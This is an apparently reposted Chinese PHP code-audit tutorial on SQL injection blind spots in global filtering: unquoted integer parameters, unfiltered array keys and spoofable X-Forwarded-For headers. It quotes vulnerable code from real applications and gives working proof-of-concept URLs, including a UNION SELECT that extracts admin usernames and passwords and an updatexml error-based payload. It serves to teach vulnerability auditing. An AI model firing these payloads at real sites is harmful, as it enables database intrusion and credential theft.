【PHP代码审计】那些年我们一起挖掘SQL注入-6.全局防护盲点的总结上篇

独自等待 2017年5月12日02:08:00评论380 views字数 3820阅读12分44秒阅读模式

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~

盲点如下:

①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。

附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02 环境搭建

环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~

0x03 漏洞分析

完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

这个还是比较常见的,当初笔者挖到过一些,乌云案例 http://www.wooyun.org/bugs/wooyun-2010-065605

fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;
?>

获取管理员账户密码的POC:

http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

sql5_01

2.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号

有幸在Discuz!上看到此类问题,膜拜下雨牛的漏洞 http://www.wooyun.org/bugs/wooyun-2014-079045

简单分析下漏洞原理

首先$itemid经过的第一条SQL语句如下

$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')

$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:

sql5_02

然后后面第二条delete的sql语句如下

$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');

这里忘记加单引号了,根据上图我们可以构造获取数据库用户的POC:

http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

sql5_03

3.php弱类型语言,判断逻辑错误引发注入

还是雨牛的案例 http://www.wooyun.org/bugs/wooyun-2010-088872

这里只讲下漏洞形成的原理

sql5_03

如上图,弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。 数组类型,全局防护只过滤了value,key未过滤带入了查询

程序员往往在对数组的处理上不够严谨,导致会出现此类漏洞,笔者当年有幸挖到过ShopEx旗下的ecmall存在这类漏洞,链接:

http://www.wooyun.org/bugs/wooyun-2010-065284

由于上面那个案例跟序列化相关且过程较为复杂,这里引用乌云另外一则案例:http://www.wooyun.org/bugs/wooyun-2010-069746,简要分析这个案例,我们首先看下对数组进行处理的函数:

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
... ...
function Add_S($array){
 foreach($array as $key=>$value){
  if(!is_array($value)){
   $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
   $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
   !get_magic_quotes_gpc() && $value=addslashes($value);
   $array[$key]=$value;
  }else{
   $array[$key]=Add_S($array[$key]); 
  }
 }
 return $array;

可以看到对数组的value进行了严格的过滤和addlashes转义,但对key没有任何过滤操作,然后我们全局搜索关键词“$key=>$value”,发现如下代码$key被带入了查询

elseif($job=='manage')
{
 if(!$atc_power)showerr("你没权限");
 if($rsdb[pages]<2){
  header("location:post.php?job=edit&aid=$aid&mid=$mid&only=$only");exit;
 }
 $erp=get_id_table($aid);
 if($step==2){
  asort($orderDB);
  $i=0;
  foreach( $orderDB AS $key=>$value){
   $i++;
   $db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'");
  }

构造获取管理员账户密码的POC如下图:

sql05_3

其它案例:http://www.wooyun.org/bugs/wooyun-2014-071516

SERVER变量未过滤

常常发生在获取用户ip并入库的函数上,类似如下代码:

//获取访问者IP(PHP代码/函数) 
function get_ip(){
 if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
   $ip=getenv("HTTP_CLIENT_IP");
 }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
   $ip=getenv("HTTP_X_FORWARDED_FOR");
 }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
   $ip=getenv("REMOTE_ADDR");
 }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
   $ip=$_SERVER['REMOTE_ADDR'];
 }else{
   $ip="unknown" ;  
 }
 return $ip;  
}

发现通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。

program/index/receive/login.php处代码为例:

//这里使用get_ip函数获取客户ip
$ip=get_ip();
//这里入库,所以可以注入了
$sql="update ".$pdo->index_pre."user set `last_time`='$time',`last_ip`='$ip' where `id`='".$_SESSION['monxin']['id']."'";
$pdo->exec($sql);
$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."'";
$stmt=$pdo->query($sql,2);
$v=$stmt->fetch(2);
if($v['c']index_pre."user_login (`userid`,`ip`,`time`,`position`) values ('".$_SESSION['monxin']['id']."','$ip','$time','".get_ip_position($ip)."')";
}else{
 $sql="select `id` from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."' order by time asc limit 0,1";
 $stmt=$pdo->query($sql,2);
 $v=$stmt->fetch(2);
 $sql="update ".$pdo->index_pre."user_login set `ip`='$ip',`time`='$time' where `id`='".$v['id']."'";
}
$pdo->exec($sql);

案例:http://www.wooyun.org/bugs/wooyun-2010-0173485

原文地址:http://www.cnbraid.com/2016/04/29/sql5/



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:08:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PHP代码审计】那些年我们一起挖掘SQL注入-6.全局防护盲点的总结上篇http://cn-sec.com/archives/50330.html

发表评论

匿名网友 填写信息